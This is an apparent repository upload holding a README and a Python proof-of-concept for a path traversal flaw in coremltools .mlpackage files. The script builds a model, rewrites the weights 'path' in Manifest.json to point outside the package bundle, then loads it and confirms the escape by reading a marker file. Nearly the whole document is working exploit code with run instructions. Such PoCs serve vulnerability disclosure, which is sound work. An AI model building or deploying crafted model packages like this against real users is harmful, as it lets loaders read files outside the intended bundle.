Upload 2 files
Browse files- README.md +12 -0
- poc_coreml_path_traversal.py +76 -0
README.md
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Core ML Path Traversal PoC
|
| 2 |
+
|
| 3 |
+
Crafted `.mlpackage` with path traversal in Manifest.json `path` field.
|
| 4 |
+
|
| 5 |
+
## Usage
|
| 6 |
+
```bash
|
| 7 |
+
pip install coremltools torch
|
| 8 |
+
python poc_coreml_path_traversal.py
|
| 9 |
+
```
|
| 10 |
+
|
| 11 |
+
## Root Cause
|
| 12 |
+
`ModelPackage.cpp` line 308/466: `m_packageDataDirPath / path` without canonicalization.
|
poc_coreml_path_traversal.py
ADDED
|
@@ -0,0 +1,76 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
PoC: Path Traversal in coremltools .mlpackage Manifest.json
|
| 3 |
+
Affected: coremltools 9.0 (all versions with mlpackage support)
|
| 4 |
+
Root cause: ModelPackage.cpp — path field joined without canonicalization
|
| 5 |
+
"""
|
| 6 |
+
import os, json, shutil, tempfile
|
| 7 |
+
import coremltools as ct
|
| 8 |
+
import torch
|
| 9 |
+
import numpy as np
|
| 10 |
+
|
| 11 |
+
class SimpleNet(torch.nn.Module):
|
| 12 |
+
def __init__(self):
|
| 13 |
+
super().__init__()
|
| 14 |
+
self.linear = torch.nn.Linear(4, 2)
|
| 15 |
+
def forward(self, x):
|
| 16 |
+
return self.linear(x)
|
| 17 |
+
|
| 18 |
+
# Phase 1: Create legitimate mlpackage
|
| 19 |
+
print("=== Phase 1: Create legitimate model ===")
|
| 20 |
+
model = SimpleNet()
|
| 21 |
+
model.eval()
|
| 22 |
+
traced = torch.jit.trace(model, torch.randn(1, 4))
|
| 23 |
+
ml_model = ct.convert(traced, inputs=[ct.TensorType(shape=(1, 4))])
|
| 24 |
+
legit_path = os.path.join(tempfile.gettempdir(), "legit.mlpackage")
|
| 25 |
+
if os.path.exists(legit_path):
|
| 26 |
+
shutil.rmtree(legit_path)
|
| 27 |
+
ml_model.save(legit_path)
|
| 28 |
+
print(f"[+] Legit model: {legit_path}")
|
| 29 |
+
|
| 30 |
+
# Phase 2: Create external weights directory
|
| 31 |
+
print("\n=== Phase 2: Setup external weights ===")
|
| 32 |
+
evil_weights = tempfile.mkdtemp(prefix="evil_weights_")
|
| 33 |
+
with open(os.path.join(evil_weights, "PROOF.txt"), 'w') as f:
|
| 34 |
+
f.write("THIS_FILE_IS_OUTSIDE_THE_BUNDLE")
|
| 35 |
+
print(f"[+] Evil weights dir: {evil_weights}")
|
| 36 |
+
|
| 37 |
+
# Phase 3: Create malicious mlpackage
|
| 38 |
+
print("\n=== Phase 3: Craft malicious .mlpackage ===")
|
| 39 |
+
evil_pkg = os.path.join(tempfile.gettempdir(), "evil.mlpackage")
|
| 40 |
+
if os.path.exists(evil_pkg):
|
| 41 |
+
shutil.rmtree(evil_pkg)
|
| 42 |
+
shutil.copytree(legit_path, evil_pkg)
|
| 43 |
+
|
| 44 |
+
with open(os.path.join(evil_pkg, "Manifest.json")) as f:
|
| 45 |
+
manifest = json.load(f)
|
| 46 |
+
|
| 47 |
+
data_dir = os.path.join(evil_pkg, "Data")
|
| 48 |
+
traversal = os.path.relpath(evil_weights, data_dir)
|
| 49 |
+
|
| 50 |
+
for uid, entry in manifest["itemInfoEntries"].items():
|
| 51 |
+
if entry["name"] == "weights":
|
| 52 |
+
entry["path"] = traversal
|
| 53 |
+
print(f"[*] Weights path set to: {traversal}")
|
| 54 |
+
|
| 55 |
+
with open(os.path.join(evil_pkg, "Manifest.json"), 'w') as f:
|
| 56 |
+
json.dump(manifest, f, indent=2)
|
| 57 |
+
|
| 58 |
+
# Phase 4: Load and verify
|
| 59 |
+
print("\n=== Phase 4: Load malicious model ===")
|
| 60 |
+
evil_model = ct.models.MLModel(evil_pkg)
|
| 61 |
+
weights_dir = evil_model.weights_dir
|
| 62 |
+
print(f"[+] weights_dir = {weights_dir}")
|
| 63 |
+
|
| 64 |
+
real_w = os.path.realpath(weights_dir)
|
| 65 |
+
real_p = os.path.realpath(evil_pkg)
|
| 66 |
+
|
| 67 |
+
if not real_w.startswith(real_p):
|
| 68 |
+
print(f"\n[!!!] PATH TRAVERSAL CONFIRMED!")
|
| 69 |
+
print(f"[!!!] Bundle: {real_p}")
|
| 70 |
+
print(f"[!!!] weights_dir: {real_w}")
|
| 71 |
+
|
| 72 |
+
marker = os.path.join(weights_dir, "PROOF.txt")
|
| 73 |
+
if os.path.exists(marker):
|
| 74 |
+
print(f"[!!!] External file content: {open(marker).read()}")
|
| 75 |
+
|
| 76 |
+
shutil.rmtree(evil_weights, ignore_errors=True)
|